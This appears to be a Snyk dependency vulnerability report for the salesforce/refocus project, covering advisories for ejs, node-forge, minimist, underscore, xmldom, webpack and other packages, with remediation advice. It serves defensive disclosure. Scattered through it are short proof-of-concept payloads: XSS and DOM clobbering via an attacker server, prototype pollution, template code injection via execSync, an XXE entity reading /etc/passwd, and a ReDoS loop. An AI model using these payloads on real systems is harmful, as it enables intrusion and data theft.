ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename option causing it to render the value as is, without escaping it. You can read more about this vulnerability on the Snyk blog.

There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the filename option, which will be rendered as is when an error occurs during rendering.

ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

Disclosure Timeline

  • November 28th, 2016 - Reported the issue to package owner.
  • November 28th, 2016 - Issue acknowledged by package owner.
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.

Remediation

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.5 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@0.20.0.

Overview

ejs is a popular JavaScript templating engine. Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames option causing it to crash. You can read more about this vulnerability on the Snyk blog.

There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.

Details

ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.

Both functions can be invoked in two ways. The first is calling them with template, data, and options:

ejs.render(str, data, options);

ejs.renderFile(filename, data, options, callback)

The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:

ejs.render(str, dataAndOptions);

ejs.renderFile(filename, dataAndOptions, callback)

If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the localNames option, which will cause the renderer to crash.

ejs.renderFile('my-template', {localNames:'try'}, callback);

The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.

Disclosure Timeline

  • November 28th, 2016 - Reported the issue to package owner.
  • November 28th, 2016 - Issue acknowledged by package owner.
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.

Remediation

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.5 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: js-yaml
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 js-yaml@3.4.6

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-yaml to version 3.13.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-fetch
  • Introduced through: prop-types@15.5.10, react@15.7.0 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af prop-types@15.5.10 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to prop-types@15.6.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react@16.5.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react-dom@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-dom@16.5.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react-test-renderer@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-test-renderer@16.5.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service (DoS). Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@0.16.0.

Overview

node-forge is a JavaScript implementation of network transports, cryptography, ciphers, PKI, message digests, and various utilities. Affected versions of the package are vulnerable to a Timing Attack due to unsafe HMAC comparison. The HMAC algorithm produces a keyed message by pairing a hash function with a cryptographic key. Both the key and a message serve as input to this algorithm, while it outputs a fixed-length digest output which can be sent with the message. Anyone who knows the key can repeat the algorithm and compare their calculated HMAC with one they have received, to verify a message originated from someone with knowledge of the key and has not been tampered with.

The problem begins when trying to compare two HMACs. This is the part of code that handles the comparison:

if(byteArrayA.length != byteArrayB.length) { return false; }
for(int i = 0; i < byteArrayA.length; i++) {
  if(byteArrayA[i] != byteArrayB[i]) { return false; }
}
return true;

The issue is that the more bytes match in the two arrays, the more comparisons are formed and the longer it'll take to return a result. This may allow attackers to brute force their way into the servers.

Remediation

Upgrade node-forge to version 0.6.33 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: webpack
  • Introduced through: webpack@1.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0
    Remediation: Upgrade to webpack@5.94.0.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.

PoC

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade webpack to version 5.94.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: webpack@1.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 optimist@0.6.1 minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@3.2.1.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not properly check DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.

Remediation

Upgrade node-forge to version 1.3.0 or higher.

References

medium severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@3.2.1.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSAs PKCS#1` v1.5 signature verification code which is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.

Remediation

Upgrade node-forge to version 1.3.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: kue@0.11.6, pgtools@0.3.0 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 yargs@4.8.1 yargs-parser@2.4.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pgtools@0.3.0 yargs@5.0.0 yargs-parser@3.2.0
    Remediation: Upgrade to pgtools@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize-cli@4.1.1 yargs@8.0.2 yargs-parser@7.0.0
    Remediation: Upgrade to sequelize-cli@5.5.0.

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jsonlint@1.6.3 nomnom@1.8.1 underscore@1.6.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: npm@6.14.18 and npm-watch@0.1.9

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 update-notifier@2.5.0 latest-version@3.1.0 package-json@4.0.1 got@6.7.1
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpx@10.2.4 update-notifier@2.5.0 latest-version@3.1.0 package-json@4.0.1 got@6.7.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 update-notifier@2.5.0 latest-version@3.1.0 package-json@4.0.1 got@6.7.1
    Remediation: Upgrade to npm-watch@0.7.0.

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: xmldom
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5 xmldom@0.1.19
    Remediation: Upgrade to passport-saml@1.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmldom@0.1.31
    Remediation: Upgrade to passport-saml@2.0.6.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 xmldom@0.1.31
    Remediation: Upgrade to passport-saml@1.3.2.

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade xmldom to version 0.5.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: browserslist
  • Introduced through: autoprefixer@6.7.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af autoprefixer@6.7.7 browserslist@1.7.7
    Remediation: Upgrade to autoprefixer@9.0.0.

Overview

browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

PoC by Yeting Li

var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade browserslist to version 4.16.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: content-type-parser
  • Introduced through: jsdom@9.12.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsdom@9.12.0 content-type-parser@1.0.2

Overview

content-type-parser is a Parse the value of the Content-Type header. content-type-parser package has been replaced by whatwg-mimetype.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/^(.*?)\/(.*?)([\t ]*;.*)?$/) in order to parse user agents. This can cause a very moderate impact of about 4 seconds matching time for data 30k characters long.

Note: content-type-parser has been replaced by the whatwg-mimetype package and the fix for this vulnerability can be found within whatwg-mimetype.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

